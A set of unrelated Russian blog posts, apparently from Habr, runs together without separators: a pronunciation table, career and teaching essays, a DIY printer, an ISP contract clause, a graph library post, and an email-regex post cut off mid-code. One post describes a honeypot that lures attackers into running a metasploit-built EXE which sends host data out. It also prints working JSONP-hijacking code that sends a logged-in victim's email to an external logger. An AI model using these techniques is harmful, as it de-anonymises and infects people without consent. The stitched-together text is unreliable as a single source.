[ˈlɪnəks]
[ˈlɪnʊks] |
►
|
|
| Mac OS X |
мэк оу-эс тэн |
|
► |
|
| MySQL |
офиц. май-эс-кью-эл
вар. май-сиквел |
|
► |
как «My Ess Que Ell», см. оф. сайт |
| nginx |
энджин-икс |
|
► |
(от engine-x) |
| PuTTY |
пати |
[ˈpʌtɪ] |
|
см. оф. сайт |
| Qt |
кьют |
[kyut] |
|
см. |
| TeX |
тех
тек |
[ˈtɛx]
[tɛk] |
|
не «текс» |
| XBox 360 |
экс-бокс фри сискти |
|
♫ |
|
| Xen |
зен |
[ˈzɛn] |
♫ |
|
| Xeon |
зион |
|
♫ |
|
| Xerox |
зирокс |
[ˈzɪərɒks] |
♫ |
|
| Xilinx |
зайлинкс |
[ˌzaɪliːŋks] |
► |
|
| ZyXel |
рус. зайксел
амер. зайзел |
|
► |
см.
|
Аббревиатуры:
| GNU |
гну |
|
► |
вар. гню |
| GWT |
гвит |
[ˈɡwɪt] |
|
|
| ICANN |
айкэн |
|
► |
|
| IEEE |
ай-трипл-и |
|
► |
как «I triple E» |
| ISO |
айсо |
|
► |
|
| PNG |
пинг |
[ˈpɪŋ] |
♫ |
как «ping», см. спецификацию |
| PXE |
пикси |
[ˈpɪksi] |
► |
|
| RUP |
рап |
|
► |
|
| SCSI |
скази |
['skʌzi] |
♫ |
|
| SOAP |
соуп |
[soʊp] |
► |
|
| SQL |
эс-кью-эл |
[ˈɛsˈkjuˈɛl] |
|
неофиц. «сикуел» |
| SWF |
свиф |
[ˈswɪf] |
|
см. спецификацию |
| WYSIWYG |
визивиг |
[ˈwɪziˌwɪg] |
♫ |
|
| XAML |
зэмл |
[ˈzæməl] |
► |
|
| XUL |
зул |
[ˈzuːl] |
|
|
| Yii |
длинное «и» |
[ji:] |
► |
|
Обычно аббревиатуры произносятся по правилам английского языка: API — эй-пи-ай, PCMCIA — пи-си-эм-си-ай-эй, OpenBSD — оупен-би-эс-ди и т.д.
Некоторые слова-«ловушки» (пишутся похоже, а звучат совсем по-другому):
| administrator |
эдминэстрйтэ |
[ædˈmɪnəˌstreɪtər] |
♫ |
|
| archive |
аркайв |
[ˈɑrkaɪv] |
♫ |
|
| bash |
бэш |
[bæʃ] |
♫ |
|
| binary |
байнэри |
[ˈbaɪnəri] |
♫ |
|
| browser |
браузэ |
[ˈbraʊzər] |
♫ |
некоторые почему-то произносят «броузер» |
| caution |
кошэн |
[ˈkɔʃən] |
♫ |
|
certificate
to certificate |
сертификит
сертификейт |
[sərˈtɪfɪkɪt]
[sərˈtɪfɪˌkeɪt] |
♫ |
сертификат
сертифицировать |
| data |
дэйта |
['deɪtə] |
♫ |
но можно произносить и «дата» |
| dial-up |
дайл-ап |
[ˈdaɪəlˌʌp] |
♫ |
|
| echo |
экоу |
[ˈɛkoʊ] |
♫ |
не эхо и не ечо |
| else |
элс |
[ɛls] |
♫ |
|
| error |
эрэр |
[ˈɛrər] |
♫ |
лучше послушать |
| etc |
эт-сетэрэ |
[ɛt ˈsɛtərə] |
♫ |
|
| function |
фанкшэн |
[ˈfʌŋkʃən] |
♫ |
|
| geo |
джио |
[ˈdʒiːəʊ] |
♫ |
напр. geotargeting — джиотаргетинг |
| header |
хэдер |
[ˈhɛdər] |
♫ |
|
| height |
хайт |
[haɪt] |
♫ |
|
| install |
инстол |
[ɪnˈstɔl] |
♫ |
|
| issue |
амер. ишью
брит. исью |
[ˈɪʃuː]
['ɪsjuː] |
♫
|
|
| module |
маджул |
[ˈmɒdʒul] |
♫ |
|
| multi- |
малти |
[mʌltɪ] |
♫ |
|
| practice |
практис |
[ˈpræktɪs] |
♫ |
|
| private |
прайвит |
[ˈpraɪvɪt] |
♫ |
|
| procedure |
прэсиджа |
[prəˈsiːdʒə] |
♫ |
|
| queue |
кью |
[kyu] |
♫ |
|
| query |
квиэри |
[ˈkwɪəri] |
♫ |
|
| register |
реджистэр |
[ˈrɛdʒəstər] |
♫ |
|
| router |
амер. раутэр
брит. рутэр |
[ˈraʊtər]
[ˈrutər] |
♫ |
|
| server |
сёрвэр |
[ˈsɜrvər] |
♫ |
лучше послушать |
| sign |
сайн |
[saɪn] |
♫ |
|
| source |
сорс |
[sɔrs] |
♫ |
|
| spawn |
спон |
[spɔn] |
♫ |
|
| suite |
свит |
[swiːt] |
♫ |
|
| technical |
текникэл |
[ˈtɛknɪkəl] |
♫ |
|
| tunnel |
танл |
[ˈtʌnl] |
♫ |
|
| viewer |
вьюер |
[ˈvyuər] |
♫ |
|
| virtual |
вёрчуал |
[ˈvɜrtʃuəl] |
♫ |
означает не только «виртуальный», но и «фактический», «в сущности» |
| warning |
ворнинг |
[ˈwɔrnɪŋ] |
♫ |
|
P.S. Если вы знаете еще трудные слова или нашли ошибки в посте, пожалуйста, опишите в комментариях.
P.P.S. Спасибо за все ценные замечания и новые слова!
… или почему я никогда не занимался веерной рассылкой резюме, а долго присматривался, затем посылал одно, и меня там брали.
Пришедшая на почту рассылка новостей принесла мне очередную статью с «ХедХантера», призванную, якобы, помочь соискателям правильнее составить резюме.
Одна из многих подобных. Несть им числа.
Там, конечно же, рассказывалось о том, что хорошо, а что плохо писать в разных разделах резюме, какими словами о себе рассказывать можно, а какими нет, в общем — как представить из себя идеально собранную машинку по исполнению скромной, но очень важной для компании роли.
Этой статьёй хочу выразить протест против устоявшейся практики преподнесения себя соискателями и предложить этому «раболепию по гайдлайнам» какую-то разумную альтернативу.
Статья для соискателей.
Почему не так?
Проходя более 4 лет назад последнее собеседование, на котором присутствовали сразу все соискатели, я обратил внимание на внутренний настрой тех, кто там был.
Знаете, что меня зацепило?
Большинство из них выглядели… жалкими. Они были неплохими специалистами (наверное), некоторые бы даже справились с задачей лучше меня. Но они выглядели жалкими, потому что пришли в лучшем случае продавать себя, а в худшем — надеяться на работу и зарплату почти как на милостыню.
Соответствующими были и их вопросы.
«А насколько у вас нормирован рабочий день? А будет ли у нас „белая“ зарплата?» — спрашивали первые.
Вторые вопрошали — «А отпустят ли меня в отпуск в мае хотя бы на 3 дня — мне надо навестить родителей».
Были и третьи.
Они выглядели самоуверенными, бодро рапортовали о своих прошлых успехах, явно тренировали речь, быть может даже учили ответы заранее. Забегу вперед — ни одного из этих не взяли. Неожиданные вопросы почему-то заставляли их мяться, в бодрой дикции сразу наступал провал. Вылезали неожиданные неприятные нюансы (у одного довольно респектабельного на вид парня даже не оказалось гражданства).
Причина их неудачи не в плохо отрепетированной дикции, а в том, что их конечной целью было попасть на эту работу. Конечной — это значит, что на этом их цель кончалась.
Для них всё их стремление заканчивалось там, где, по надеждам руководителя проекта, всё должно было только начинаться.
В ходе этого собеседования я вдруг остро почувствовал, что так нельзя. Это всё какие-то неправильные пути, которые в той или иной степени нечестны. Это попытки обмануть либо работодателя, либо — что чаще — самого себя.
Работа или труд?
Здесь я немного отклонюсь от темы, чтобы внести ясность в важный вопрос. Вопрос о понимании архетипов.
Что несёт нам в себе архетип «работа», как его понимают сейчас?
Это когда вы приходите в некую компанию к таким-то часам по рабочим дням, выполняете круг обязанностей (еще соблюдаете дисциплину, правила и т.п.), в положенные часы уходите домой, и потом вам за это дают зарплату — то есть те самые деньги, ради которых всё и затевалось.
Что это такое, по сути? Продажа своего времени за деньги.
В чём здесь проблема?
В том, что из архетипа «работа» начисто, ко всем чертям, вычеркнуто стремление к некоему результату. Вы скажете, что результат — это зарплата. Но она платится за проданные часы. Не за достигнутый результат.
Чтобы хоть как-то привязать сотрудника к достигаемому им результату, придумываются различные «схемы мотивации», которые заключаются в премиях, штрафах, досках почета, грамотах, бонусах (я негодую при этом слове), и так далее.
Но вообще, по сути, в голове сотрудника сидит принцип «отсидел — не накосячил — заплатили».
Я не хочу разводить здесь кастанедовщину, но это — рабский подход, в котором человек не признаёт себя причиной своих действий, и — как показывает практика — в случае неуспеха редко понимает, за что его наказывают: он всего лишь винтик, его просто неправильно закручивали, это не он придумал, он жертва обстоятельств, и т.п.
И на работу он устроился не для того, чтобы достигать результата, а чтобы получать «достойную» и «престижную» зарплату.
Другой подход называется «трудом».
В отличие от «работы», труд совершается ради результата, как такового — довольный заказчик, красивый дизайн, вызывающий приятное удивление интерфейс, полезное и удобное устройство — любое изменение мира к лучшему, совершенное лично вами.
Вместо зарплаты за безвозвратно проданное время, вы получаете вознаграждение в благодарность за то, что своим трудом сделали мир немного добрее. Если вы не сделали его добрее, то за что же тогда он будет вам благодарен?
Вот с такой позицией мы с вами идем устраиваться на работу — нет, забудьте, мы идем искать, как сделать мир лучше.
Маленький Будда
— Хакимура! Кто самый лучший кузовной мастер в стране?
— Я!
Сначала мы, как начинающие боги, должны решить, чем мы умеем улучшать этот мир.
Один умеет не просто «конструктивно общаться с заказчиками», а вызывать этим общением радость, надежду и облегчение у людей, которые искали решение своих проблем (а это именно так), и нашли его в приобретении данного продукта, на которые им открыл глаза этот добрый человек.
Другой умеет продумывать работающие решения, которые отличаются удобством, понятностью, лёгкостью в использовании, и тем самым помогают людям экономить время, силы, делают жизнь людей проще.
Третий умеет разрабатывать не просто «креативный и концептуальный дизайн», а обладает чувством прекрасного и умеет воплощать это в своих творениях, вызывающих потом удивление, изумление, восторг.
Четвертый — не просто программист с N-летним стажем, умеющий «реализовывать сложные многокомпонентные приложения», а способный реализовать их так удобно, ресурсоэкономно и гибко, чтобы конечные пользователи потом не могли понять, как они раньше вообще без этого жили?
Вот такой внутренний настрой — ни больше, ни меньше.
Вы — не скитающийся работник, ищущий, где кормят и не гонят, а специалист по улучшению мира, причём, специалист хороший.
Компания работодатель — это теперь не храм, куда нужно прийти и молиться, а это коллектив усталых людей, которых замучили проблемы, и которые нуждаются в вашей помощи. Если бы они в ней не нуждались, то они бы не размещали вакансию свой зов о помощи на всех ресурсах.
Ведь, действительно, задумайтесь, если им нужны новые люди, значит они не справляются сами. Значит у них где-то «прорвало плотину».
И вы приходите не для того чтобы предлагать им купить себя.
Вы приходите чтобы предложить помощь. Вы можете помочь. Вы же специалист по улучшению мира, и вы заметили у них проблемы, которые знаете, как решить.
Соответственно, меняется и само собеседование.
Вместо того, чтобы пытаться понравиться странной девушке из отдела HR, вы пришли, чтобы понять, какие проблемы испытывает компания, и как вы можете ей помочь. Для того, чтобы это понять, вам нужно пообщаться с руководителем рабочей группы, к которой вы потом подключитесь.
Никакого сослагательного наклонения. ВЫ. ПОДКЛЮЧИТЕСЬ. Без «может быть» и «если вдруг вы решите...».
Конечно, HR может сослаться на его занятость. Но что это? Кто еще лучше него объяснит в чём возникли проблемы и где нужна помощь? Девушка, пригласите его, или давайте договоримся, когда мы сможем с ним поговорить. А Вы можете рассказать подробнее, мне необходимо знать, какова суть проблем, которые мне нужно будет решать.
Это главные вопросы. Способны ли вы решить проблемы компании? Беретесь ли вы улучшать здесь мир? Хотят ли улучшений (и вообще — решения проблем) те, кто там работают? Будет ли вам, как специалисту, удобно работать с ними?
Если что-то из этих вопросов вызывает у вас сомнение, протест, страх — проясните сомнения или прочь оттуда.
Не тратьте время там, где вам препятствуют.
Ваше время бесценно. Ведь если вы потратите его напрасно, мир может стать не настолько прекрасен, насколько мог бы.
Представляю вашему вниманию простой принтер из частей CD привода. Печатает он с помощью обычного маркера. Конечно, разрешение у него не большое, но мне давно хотелось воплотить этот проект в жизнь.
Материалы
Самое главное — CD-ROM, ну или DVD-ROM. Попробуйте найти привод с биполярным мотором, в моем использовался двигатель постоянного тока, так что потом пришлось менять его на шаговый. Кроме того, вам понадобится еще один шаговый двигатель, резиновое колесо и деревянное основание. Другие электронные детали будут изложены далее.
Первый двигатель
Отделите двигатель вместе с металлической конструкцией и горизонтальными направляющими.
Второй двигатель
Этот двигатель снимите со всеми «колесами». Также вырежете пластиковый корпус к которому эта конструкция крепилась, а грубые части сгладьте наждачкой.
Делаем «картридж»
Ну, на самом деле это не совсем картридж, просто сюда будет крепиться маркер. Прикрепите двигатель постоянного тока к пластику, а затем пройдитесь клеем для прочности конструкции.
Держатель для маркера
Эта маленькая трубка с дырой позволит вам заменять маркер. Приклейте к трубке гайку с винтом, а затем прикрепите к последнему редукторному колесу как на фото.
Новый мотор
В моем приводе использовался двигатель постоянного тока. Ну а так как он на самом деле не очень эффективен, меняем его на биполярный шаговый двигатель.
Электронная начинка
Начинка собиралась на макетной плате. Три переключателя на картинке будут использоваться в конце проекта.
Собираем все железо
Основной код
Исходник можно глянуть тут: pastebin.com/9pPk0FkQ
Делаем изображение для печати
Для простоты использования программа была написана на Java. Просто открываете её, рисуете что планируете напечатать, и жмете «p». Программа сама сгенерирует соответствующий код, вам останется только вставить его в основной код между метками «aca empieza el codigo» и «aca termina el codigo».
Примеры
Файлы для скачки
Impresora.hex
Impresora2.jar
UPD: Видео
Доброго времени суток, уважаемое хабрасообщество. Хочу с вам поделиться своими мыслями по этому поводу. Сразу оговорюсь, что это не что иное, как мысли вслух.
Маленькая предыстория. В августе этого года я устроился работать в одну из школ Санкт-Петербурга. Как не трудно догадаться, учителем информатики. Помимо, непосредственно, разработки, мне действительно было интересно работать с детьми, пытаться научить их чему-то серьёзному и, на мой взгляд, интересному. Я прекрасно отдавал себе отчёт в том, что далеко не всем интересна информатика, но тогда я ещё не подозревал, что всё НАСТОЛЬКО плохо…
Собственно, по теме. Зачем я туда шел? Интересно было. Казалось, что Школа — это что-то очень хорошее. Всё-таки, как не крути, а со школой у меня связано много хороших, добрых и тёплых воспоминаний. И это далеко не только прогулы уроков и весёлые замечания в дневнике. Мне нравилось слушать учителей, когда они рассказывали что-то интересное. Иногда это были случаи из их жизни, иногда — новый материал, от которого дух захватывало (например, когда учительница географии рассказывала про вулканы. Очень хорошо это помню, я тогда сидел с широко открытым ртом и с жадностью голодной акулы поглощал новый материал). Или история… Это не говоря о информатике и математике. Конечно, по чесноку, были предметы, которых я не выносил. Яркий пример — физика и химия. Но это отдельная история… И таким у нас был весь класс! Кому-то нравилось одно, кому-то — другое. Кто-то любил Онегина, кто-то логарифмы. Одни тащились от ископаемых жучков, а другим нравилось, хоть и мысленно, но расщеплять их на атомы. Мы чем-то интересовались. Мы всегда хотели что-то узнать. Не было такого, что мы прям ходили в школу, как на каторгу. Конечно, прогуливали. Конечно «Блин, опять в школу!...». Но мы придерживались некоторых рамок…
И вот с этими мыслями я и шел работать учителем. Я свято верил, что на всю школу найдётся хоть 15 человек, с которыми будет приятно работать. Которым будет интересен мой предмет. Но что получилось в итоге? А в итоге получилось вот что… Одна половина детей свято верит, что на Counter-Strike и вконтактах информатика ограничена. А вторая — просто игнорирует предмет как таковой. Конечно, меня это не могло не расстраивать. Я работал над собой, я готовился ночами к урокам, я старался всё сделать интереснее и нагляднее. С показами презентаций, видеороликов, интервью с известными людьми и т.д. Реакция — нулевая.
Само собой, такая реакция меня задела. Мне было просто по-человечески обидно. И я пошел к своим учителям. К тем людям, которые учили меня. Троечника по многим предметам. И оказалось, что не я один оказываюсь в такой жопе ситуации. Оказалось, что даже самые авторитетные учителя НЕ МОГУТ заинтересовать современных детей своим предметом. Как не крутись, что не изобретай. Если к малышам (1-6 классы) ещё можно найти подход: обставить процесс как игру, например, или киношечку показать. В общем, устроить какой-то нестандарт. То все, кто старше не поддаются абсолютно никакому контролю. Им начинает казаться, что они очень взрослые и в состоянии самостоятельно решить, что им надо. Да и хорошо! Да и флаг в руки, если бы они цеплялись хоть за что-то!
Чтобы не быть голословным — приведу пару цифр:
10 класс: в среднем по классу, выходит по 6 двоек на человека. В полугодии. Это при том, что в классе всего 2 «хорошиста».
Вот такая вот ситуация. Я, конечно, понимаю, что труд учителя — это труд поистине титанический. И я так больше не могу. И это не потому, что я «просто устал и мне надо отдохнуть». Тут дело в другом, наверное. Амбиции: я не могу что-то делать в пустоту. Мне начинает казаться, что то, что я делаю — фэйк, не дающий никакой реальной пользы. Ни мне, ни детям. Поэтому я ухожу. И знаю ещё много людей, которые вот так же уходили. Через пол года, через год.
И выхода из этой ситуации я, лично, не вижу.
UPD: Переместил в учебный процесс. Спасибо.
Тема анонимности в Интернете является сейчас достаточно модной и интересной, и особенно теперь, когда новостные порталы пугают наc всякими там PRISM, правительственными инициативами и прочим. Большинство людей озабочены тем, как сохранить тайну своей личности в сети и поэтому все темы так или иначе посвящены ЗАЩИТЕ. Но иногда, раскрытие анонимности это не такое уж и плохое дело. Да-да, эта заметка — мой опыт борьбы с анонимностью своими силами, без помощи спец-служб…
Зачем?
Прежде всего… а зачем мне это? Я не «трехбуквенник», а скромный инженер, замыслов по захвату мира у меня пока нету и прочими недобросовестными делами я не занимаюсь, так чем же мне не угодила анонимность? Ответ прост — анонимусами, хацкерами, скрипт-кидисами… Эти ребята вечно пытаются что-то там сломать, украсть, испортить или погонять свое ЧСВ. Дело это, если подумать не такое уж и плохое (лучше чем в подворотне наркотиками баловаться), но раз ребята любят поиграть — давайте поиграем с ними. Их анонимность дело не святое, поэтому можно с ней и посражаться 8) Но как общий результат, все это работает с любым пользователем сети Интернет, просто я применил усилия исключительно против атакующих, тех кто пытается получить несанкционированный доступ и нарушить статью 272 УК РФ. Кроме того, мой опыт будет интересной иллюстрацией к теме «контратаки» на самих атакующих в автоматическом режиме без участия человека. Результат контратаки — раскрытие информации об атакующем, что, согласитесь, дело хорошее, а не плохое…
Бочонок с медом
Для того, чтобы не повредить анонимности ни в чем не повинных граждан и контратаковать только «злодеев», нужно быть уверенным, что данный юзверь — взломщик. Для этого достаточно иметь систему анализа поведения посетителя с механизмом обнаружения «атакующих» действий. Короче говоря, достаточно сделать honeypot. Для этого не надо разворачивать honeyd и тд. Например для общего случая с WEB ресурсом, достаточно на продакшн сервере расположить один псевдо-рабочий скрипт, который будет изображать полезность и функциональность, но на деле будет детектировать попытки проникновения и в случае «удачной» атаки изображать, что этот взлом удался. После этого исполнять контр-атаку на этого конкретного пользователя. Наглядный пример, создадим скрипт admin.php или /admin/ не важно, любой уважающий себя атакующий найдет этот URI за несколько секунд, это очевидный ход. В случае, если хочется повысить внимание нежелательных элементов к ловушке, можно разместить линк с главной страницы (мол админка тут), ведь главная задача, чтобы плохой парень начал атаковать первым делом хонипот, а не ковырялся в нормальных скриптах. В скрипте псевдо-админки, ясно дело, спрашивают логин и пароль. Далее дело фантазии, можно ждать когда атакующий пробрутит перебором пароль либо сделать эмуляцию уязвимости класса SQL Injection, и тогда подойдет любой пароль класса ' or 1=1/*, который будет давать доступ в «админку». При этом мы можем собирать статистику — как была взломана админка, подбором или через SQLi. Ну и само собой — любой кто попал в «админку» является «плохим» парнем, и его раскрытие его анонимности не вызывает у меня проблем морали.
Собственно в 2011 я разместил такой скрипт на своем горе сайте и стал ждать… ждал я не долго, так как сайт был посвящен теме ИБ, то желающих зОхакать его превышало всякое воображение.
Бей в лоб
Очевидно, что в самом общем случае, все что мы имеем об посетителе веб сайта (и атакующем, в нашем частном случае) это лишь IP адрес, User-Agent и тд. Как я говорил, мы не CIA/FSB/MOSSAD… у нас нет СОРМ или PRISM, и мы понимаем, что IP адрес (учитывая разные там Proxy серверы и TOR) — это фактически НИЧЕГО. С этим мы и имеем дело в большинстве случаев, но если разыграть один тонкий психологический момент (конкретно касающегося скрипт-кидди), то выяснится, что эти ребята не ждут подвоха! Другими словами, в теле «админки» можно сделать что угодно — повесить сплойт-пак например, и пробивать сплойтами нерадивых. Но я сыграл более «плоско», я запустил Апплет Java. Мол вы прошли аутентификацию… вот наша панель GUI на Java. Элемент социальной инженерии — атакующий в порыве радости от успешной атаки SQLi может тупо запустить апплет. И… я удивился, но таких было достаточно (конечно потом, с течением времени процент пробива падал, так как информация о подставе быстро разошлась среди узкого круга специалистов ;). Собственно апплет тупо дергал EXE файл с сервера и запускал его.
EXE файл собирал НЕ ПЕРСОНАЛЬНЫЕ данные (да да, я блюду ФЗ о ПДн...), только следующую инфу: IP локальный, traceroute из сети, имя машины, логин пользователя. Это не много, но в большинстве случаев этого достаточно чтобы обойти TOR/Proxy/VPN и даже узнать фамилию атакующего! Дополнительно, конечно, можно было бы собирать BSSID окружающих точек доступа, например, и делать съемку с веб-камеры ноута, парсить конфиг файлы с винта и тд и тп. Короче суть в том, что установив «агента контр-разведки» на ПК атакующего мы обошли многие преграды, и TOR и Proxy уже не при делах. Очевидная контр-атака. Примечание: мой агент не имел удаленного доступа, хотя технически это можно было закодить, я не хотел бекдорить и распространять вредоносное ПО. Данный агент не был вредоносным, так как собирал сугубо техническую инфу об ПК атакующего и его сетевом окружении. Кстати, все данные передавались реверсивным DNS каналом, что улучшало успешные «отстукивания» с данными — http://www.xakep.ru/post/55661/.
Интересные «атакующие»:
1) Министерство обороны РФ
Одни из первых, попытались применить атаку типа SQLi ребята с ВНЕШНЕГО IP Министерства обороны Российской Федерации. К моему счастью, они либо не повелись на апплет, либо у них был Linux (так как мне впадлу было добавлять кросс-платформенность). Я знаю, что там хорошие ребята и, конечно, ничего плохого они не хотели! Но надеюсь при реальных «разведывательных операциях» они используют хотя бы китайские прокси сервера ;)
2) Антивирусная компания
Этот запуск был сделан с виртуальной машины антивирусной компании. DNS сервер и tracert спалили контору 8) Примечательно что ребята не добавили агента в список вредоносного ПО! Оценили. Спасибо вам ребята!
3) Куча ребят
Просто куча разных ребят, кто-то знал о фиче и просто игрался, кто-то нет (http://habrahabr.ru/post/122107/#comment_4003842)
4) И самое интересное Хост принадлежащий РАЗВЕДКЕ одной из стран СНГ. С «обратным» проникновением.
Поначалу я решил что вот она, кибер война началась! Наш агент в результате контр-атаки оказался запущен на хосте, принадлежащем службе разведки другого гос-ва. Только учетная запись выглядела как сервисная, что наводило на мысль, что хост был скомпрометирован и использовался как посредник. Чуть позже в то же день мы получили инсталл второго «агента» из той же страны, только в этот раз не из сети правительственного учреждения, а с домашнего ПК. Имя пользователя ПК оказалось легко гуглящимся и идентифицировать человека вышло без проблем. При этом, учитывая, эти «совпадения», можно сказать что либо он работает на эту разведку, либо как-то получил доступ к правительственному хосту.
Ранение рикошетом
Окей, мы поняли, что простейший путь раскрытия анонимности — контратака через сплойт-паки или с элементами СИ, но это толсто и очевидно. Но была еще одна идея — сторонние сервисы, такие как веб-почта или, например, социальные сети. Можно сделать атаку более незаметной… что я и сделал 8)
Да, кроме апплета, в случае успешной атаки на меня, я узнавал e-mail атакующего, чтобы точно знать «кто виноват» (ну а что делать и так ясно..). И опять же, анонимность это не TOR/VPN/Proxy chain. Этого не достаточно! И так суть проста, если гражданин использует сервисы типа ВКонтакте, yandex, google, linkedin, twitter, facebook и тд… и при этом он на них постоянно аутентифицирован, то при наличии каких-либо уязвимостей (CSRF/XSS) на этих сервисах позволят раскрыть ВАШУ анонимность. Так получилось, что на сервисах mail.ru и yandex.ru были найдены уязвимости (я о них сообщил давно, и они давно запатчены, тем нем менее я успел испытать ради моего «научного» эксперимента по практической поимке злых парней...). Уязвимость самая банальная (на обоих сервисах): JSONP Hijacking. Суть проста, есть некий сервис:
http://mail-service.com/ajax?callback=func
Который использует cookie аутентификацию, и возвращает что-то типа:
func({"e-mail":"username@mail-service.com"});
Соответственно, для эксплуатации этой бреши и раскрытия анонимности используем код:
<script>
function func(obj)
{
var url="http://loger.com/log.php?value="+obj["e-mail"];
$.get(url);
}
</script>
<script src="http://mail-service.com/ajax?callback=func"/>
Так что помните: можете забыть о TOR/VPN, если вы вечно носитесь по соц. сетям, даже не надо иметь PRISM, чтобы проследить кто вы и откуда, достаточно «тупых» CSRF/XSS.
Типичный атакующий:
И еще...
Кстати, как еще пример такого подхода, сеть linkedin, даже не нужна уязвимость, там это реальная фича — лог тех, кто просматривал ваш профайл. То есть если на мою админку повесить тупо редирект на специальный зарегистрированный профайл linkedin:
То в итоге можем прямо в linkedin'е узнавать больше информации об атакующих:
Кстати, можно заметить, что SAMEORIGIN не помогает, так как GET запрос проходит до того, как браузер проверит ORIGIN политику, проверка происходит ПОТОМ ;)
Статистика
В конце немного статистики. Эксперимент длился с Q2 2011 до Q3 2012.
Всего УНИКАЛЬНЫХ атак SQLi — 484 (за ~1.2 года)
Из них успешных контр-атак (Java Applet) — 52 (за ~1.2 года)
Из них успешных контр-атак на mail.ru/yandex.ru — 16 (за 6 месяцев)
~ 17 % успеха при контр-атаках.
График зависимости:
Как видно, в начале был апплет, а «мыло» я добавил значительно позже. Пики по посещаемости связаны с анонсами ZeroNights и встреч Defcon группы. Пробив по почте фактически линейный, тогда как в случае апплетов -зависимость была линейной лишь в начале эксперимента. Это связано с обновлениями Java, антивирусы добавили апплет потом в базу вредоносного ПО (что неудивительно ибо он собран из metasploit пейлода)
P.S. Кстати, если с yandex.ru есть куда сообщать о найденных мной багах, то в случае с mail.ru я не нашел контакты, пока не познакомился с тамошним ИБшником и не слил багу ему лично…
Выводы
Хоть этот блог-пост больше о том как я ловил «плохих» парней, хотя на самом деле это можно экстраполировать на вопросы анонимности в сети Интернет — уж если ИТ/ИБ специалисты и хацкеры палятся, то что говорить о нормальных людях? Вполне очевидно, что TOR/Proxy и VPN не помогают в этом вопросе. Достаточно логина в соц.сети, невнимательности и еще много чего, чтобы однозначно сопоставить посетителя веб-ресурса с реальным человеком. Будьте аккуратнее и JFYI: Как работают настоящие зло-хакИры
Ну и второй вывод, контр-атака на атакующего не такая уж и плохая идея, меньше вы о нем знать не станете, но если «прокнет», то вы получите много интересной инфы. Кстати, в некотором государстве эти штуки уже работают (как мне сообщили). Так что кибер-война это весело!
P.S. Оригинальные материалы, где чуть более детально раскрыты баги:
Слайды с BH EU 2013
Текстик с BH EU 2013
May the Force be with you.
Цитата из договора об оказании услуг связи физическим лицам:
3.4. Абоненту запрещается:
…
3.4.4. Использовать Услуги для целей передачи голосовой информации по сети передачи данных, в том числе по сети Интернет, то есть Абоненту запрещается использовать такие программы, как Skype и ей подобные, для передачи голосовой информации по сети Интернет.
update: речь идет о домашнем проводном интернете.
update 2, из комментариев:
Всем привет, для тех, с кем незнакомы — Марина Акулич, блог-секретарь МТС.
По ситуации могу сказать следующее (официальный комментарий компании: на данный момент интернет-абонентам МТС НЕ запрещается использовать программы для передачи голосовой информации, такие как Skype и ей подобные. Естественно, установка и использование данных программ НЕ блокируется и услуги предоставляются в полном объеме.
Проблема произошла из-за того, что на сайте была размещена устаревшая версия договора. Этот пункт, в котором говорится о запрете программ для передачи голосовой информации был включен еще компанией «Комстар-Директ», когда у них компании не было лицензии на предоставление услуг связи по передаче голосовой информации в сети передачи данных.
Мы сейчас обновляем все абонентские договоры, и, конечно, данный пункт из новой версии договора будет исключен.
Привет, Хабралюди!
У меня есть хобби. Я ночами (в нерабочее время) пишу библиотеку укладки графов: vivagraph.js. Хотел поделиться с вами, узнать что думаете. Визуализировал я сеть друзей своих на «В Контакте» с использованием WebGL. Но лучше один раз увидеть, чем читать, верно?
Это мои друзья. Каждая точка — человек, целый мир, с которым так или иначе мне повезло встретиться. Линия между точками обозначает дружбу. По этой сети можно, правда, сказать многое о человеке.
Как построить сеть своих друзей?
1. Проверьте что браузер поддерживает WebGL: get.webgl.org — должен быть кубик. Если кубика нет — попробуйте другой браузер. Часто хром/лис блокируют видеокарты с устаревшими драйверами. Увы, кубик — это ключ к успешной визуализации :).
2. Зайти на www.yasiv.com/vk — это визуализация ваших друзей на ВК.
3. (опционально) — поделиться своей картой с друзьями, рассказать о сайте. Я буду очень рад, т.к. в маркетинге, увы, ни бум бум (кто там?).
Почему синие квадраты вместо аватарок?
У WebGL есть очень строгие ограничения на картинки, используемые в текстурах. Если они приходят из другого домена, сервер с картинками должен разрешить их кросс-доменное использование. Исправляется добавлением в заголовок ответа с картинкой Access-Control-Allow-Origin:*, но увы, ВКонтакте этого пока не поддерживает. Если вы, читатель, являетесь сотрудником ВКонтакте, и имеете доступ к коду — добавьте, пожалуйста хедер. Я вам спасибо огромное скажу, и визуализацию подправлю :).
Почему WebGL?
Ни CSS, ни SVG, ни даже простой canvas 2D не сравнятся с производительностью WebGL. vivagraph.js поддерживает SVG и CSS, но в обоих случаях основным тормозом визуализации является браузерный код отрисовки элементов. Лишь с использованием WebGL ботлнек перемещается в мой алгоритм укладки :).
Маленький Мир
Помните историю о шести рукопожатиях? Недавний анализ полной сети Фейсбука вывел число 4.7. Я забавы ради начал достраивать сеть от мало знакомого мне друга в неизвестность и такая картина наблюдалась очень часто:
Что скажете?
Мне очень-очень важны ваши отзывы и предложения. Это всего лишь мое хобби, но я очень люблю его. Понимаю, что все еще сыровато, и на огромных графах (больше 2000 узлов) все работает слишком медленно. Но вместо того, чтобы пытаться сделать все правильно с первого раза, я хотел бы спросить у вас, что бы вы посоветовали сделать лучше? Ну и буду очень рад, если присоединитесь к проекту и поможете сделать его еще лучше :).
Серьезно, прекратите. Это пустая трата времени и сил. Поищите регулярку для проверки Email в Google, взгляните на нее — и захочется отойти подышать свежим воздухом. Вспоминается одна очень известная цитата:
Некоторые люди, сталкиваясь с проблемой, думают: «О, я воспользуюсь регулярными выражениями».
Теперь у них две проблемы.
Джэйми Завински, regex.info
Вот довольно часто встречающийся пример кода из приложения на Rails, содержащий некоторое подобие системы авторизации:
class User < ActiveRecord::Base
# Эта регулярка взята из проекта from https://github.com/plataformatec/devise,
# самой популярной библиотеки авторизации для Rails
validates_format_of :email, :with => /\A[^@]+@([^@\.]+\.)+[^@\.]+\z/
end
Выглядит довольно просто (разве что если вы совсем не знаете регулярных выражений), но бывает и сильно хуже:
class User < ActiveRecord::Base
validates_format_of :email, :with => /^(|(([A-Za-z0-9]+_+)|([A-Za-z0-9]+\-+)|([A-Za-z0-9]+\.+)|([A-Za-z0-9]+\++))*[A-Za-z0-9]+@((\w+\-+)|(\w+\.))*\w{1,63}\.[a-zA-Z]{2,6})$/i
end
Или совсем плохо:
class User < ActiveRecord::Base
validates :email, :with => EmailAddressValidator
end
class EmailValidator < ActiveModel::Validator
